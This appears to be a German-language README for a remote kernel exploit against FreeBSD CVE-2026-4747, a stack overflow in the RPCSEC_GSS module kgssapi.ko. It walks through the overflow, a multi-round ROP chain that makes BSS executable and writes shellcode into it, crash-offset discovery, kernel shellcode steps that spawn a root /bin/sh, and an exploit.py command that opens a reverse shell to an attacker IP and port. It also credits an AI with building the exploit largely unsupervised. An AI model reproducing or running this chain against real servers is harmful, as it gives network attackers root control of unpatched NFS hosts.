
Remote-Kernel-RCE-Exploit für FreeBSD CVE-2026-4747, ein Stack-Pufferüberlauf in kgssapi.ko, der über eine ROP-Kette und Shellcode zu einer Root-Shell führt.
____ __ ______ ____ ___ ____ __ _ _____ _ _ ___
/ ___/\ \ / / ___| |___ \ / _ \___ \ \ \ | ||___ | || ||__ \
| | \ \ / /| | ___ __) | | | |__) | \ \ _ | | / /| || |_ ) |
| |___ \ V / | |___|___| / __/| |_| / __/ \ \ | |__| | / / |__ _|/ /
\____| \_/ \____| |_____|\___/_____| \_\ \____/ /_/ |_||___|
Stack Buffer Overflow in kgssapi.ko → Root Shell in ~4 Stunden
"Der erste Remote-Kernel-RCE-Exploit, der von einer KI entdeckt und ausgenutzt wurde. Gesamtzeit: ~4 Stunden echte Arbeit."
— Entdeckt von Nicholas Carlini mit Claude (Anthropic) · Veröffentlicht am 26. März 2026
CVE-2026-4747 ist eine Stack-Buffer-Overflow-Schwachstelle in kgssapi.ko, dem FreeBSD-Kernelmodul, das die RPCSEC_GSS-Authentifizierung für NFS implementiert.
Die Funktion svc_rpc_gss_validate() kopiert einen vom Angreifer kontrollierten Credential-Body in einen 128-Byte-Puffer auf dem Stack (rpchdr[]), ohne die Größe zu überprüfen. Da 32 Bytes bereits von RPC-Header-Feldern belegt sind, bleiben nur 96 Bytes frei — aber die XDR-Schicht erlaubt Credentials von bis zu 400 Bytes, was 304 Bytes Overflow ergibt.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-4747 |
| CWE | CWE-121 (Stack-basierter Buffer Overflow) |
| Komponente | kgssapi.ko / librpcgss_sec |
| Protokoll | NFS / RPCSEC_GSS / Kerberos |
| Erforderliches Privileg | Gültiges Kerberos-Ticket (niedriges Privileg) |
| Auswirkung | Remote Kernel Code Execution → uid 0 |
| CVSS | 9.8 Critical |
| Gepatcht | FreeBSD-SA-26:08.rpcsec_gss |
26. März 2026 ── FreeBSD veröffentlicht FreeBSD-SA-26:08.rpcsec_gss
Credit: "Nicholas Carlini using Claude, Anthropic"
29. März 2026 ── 09:45 Uhr PDT: Claude wird beauftragt, einen Exploit zu entwickeln
05:00 Uhr PDT: Claude liefert funktionierende Root-Shell
Gesamt: ~7h Wanduhrzeit / ~4h echte Arbeit von Claude
Der Mensch war während des Großteils des Prozesses AFK.
/* In svc_rpc_gss_validate() — kgssapi.ko */
uint8_t rpchdr[128]; /* Puffer auf dem Stack */
/* 32 Bytes bereits von RPC-Header-Feldern verbraucht */
/* Nur 96 Bytes frei */
/* XDR erlaubt Credentials von bis zu 400 Bytes */
/* 400 - 96 = 304 Bytes Overflow → RIP-Hijack */
memcpy(rpchdr, credential_body, credential_len); /* ← BUG: Größe nicht geprüft */
FreeBSD 14.x hat nicht:
int32_t[])Dadurch ist der Weg vom Overflow zur RIP-Kontrolle direkt.
Angreifer (Netzwerk)
│
│ Gültiges Kerberos-Ticket für nfs/target@REALM
│
▼
NFS-Server (Port 2049/TCP)
│
│ RPCSEC_GSS-Request mit credential_len = 400
│
▼
svc_rpc_gss_validate() ← Kernel Ring 0
│
│ memcpy ohne Größenprüfung
│ [128-Byte-Puffer + 304 Bytes Overflow]
│
▼
Stack Smashing → kontrollierter RIP → ROP-Chain → Shellcode
│
▼
kproc_create() + kern_execve("/bin/sh") → uid=0 Reverse Shell
Claude löste 6 verschiedene Probleme, um vom Advisory zur Root-Shell zu gelangen:
# FreeBSD 14.4-RELEASE VM mit:
# - 2+ CPUs (FreeBSD startet 8 NFS-Threads pro CPU; der Exploit benötigt 15 Runden)
# - kgssapi.ko geladen
# - NFS aktiv auf Port 2049
# - MIT Kerberos KDC konfiguriert (erforderlich, um den verwundbaren Code zu erreichen)
# - QEMU-Port-Forwarding: host:2049 → guest:2049, host:8888 → guest:88 (KDC)
# Kritische Kerberos-Konfiguration auf dem Angreifer:
# /etc/krb5.conf
[libdefaults]
rdns = false # Ohne dies: Ticket für nfs/localhost@REALM (falsch)
dns_canonicalize_hostname = false # Server lehnt mit KRB5KRB_AP_WRONG_PRINC ab
Der Shellcode ist 432 Bytes groß, aber pro Paket stehen nur 200 Bytes für die ROP-Chain zur Verfügung.
Runde 1: ROP → pmap_change_prot(BSS, RWX) ← BSS ausführbar machen
Runden 2-14: ROP → 32 Bytes Shellcode in BSS schreiben (4 Writes × 8 Bytes)
Runde 15: ROP → letzte Bytes schreiben + JUMP zum Shellcode
Budget pro Runde: 4 Writes × 40 Bytes = 160 Bytes + 24 Bytes Exit = 184 Bytes ✓ (< 200)
; Jede Runde endet mit kthread_exit(0) statt normalem Return
; Der Server crasht nicht — er verliert nur einen NFS-Thread
; Mit 2 CPUs: 16 Threads verfügbar → genug für 15 Runden
# De-Bruijn-Sequenz → jedes 8-Byte-Substring ist eindeutig
# Als Credential-Body senden → Kernel crasht → RIP aus Crash-Dump lesen
# Das Disassembly sagte Offset 168 → real: 200 Bytes
# Differenz: 32 Bytes des GSS-Headers, die die statische Analyse nicht berücksichtigte
pattern = cyclic(400) # De Bruijn mit 400 Bytes
# Crash-Dump: instruction pointer = 0x6941624162413941
# → cyclic_find(0x6941624162413941) = 200
Der Shellcode läuft in einem reinen Kernel-NFS-Thread — ohne vmspace, ohne Trapframe.
/* Phase 1 (im Shellcode des gekaperten NFS-Threads): */
kproc_create(worker_func, NULL, NULL, 0, 0, "revshell");
kthread_exit(); /* NFS-Thread sauber beenden */
/* Phase 2 (im neuen Prozess): */
/* 1. Debug-Register bereinigen (Hardware-Bug - siehe Schritt 5) */
__asm__("xor %%eax, %%eax; mov %%rax, %%dr7" ::: "rax");
/* 2. /bin/sh ausführen */
kern_execve("/bin/sh", args, envp);
/* 3. KRITISCH: P_KPROC-Flag bereinigen */
/* Ohne dies ruft fork_exit() kthread_exit() auf und tötet den Prozess */
proc->p_flag &= ~P_KPROC;
/* 4. Return → fork_exit() → userret() → iretq → Ring 3 → uid=0 Shell */
Symptom: Der Kindprozess crasht mit Trap 1 (Debug-Exception) bei gültiger Instruktion.
Ursache: kproc_create/fork1 kopiert das PCB des Vaters und erbt die DDB-Breakpoints,
die von früheren Crashes während der Exploit-Entwicklung übrig blieben.
Fix: Zwei Instruktionen vor kproc_create:
xor eax, eax
mov dr7, rax ← Deaktiviert alle Hardware-Breakpoints
$ python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================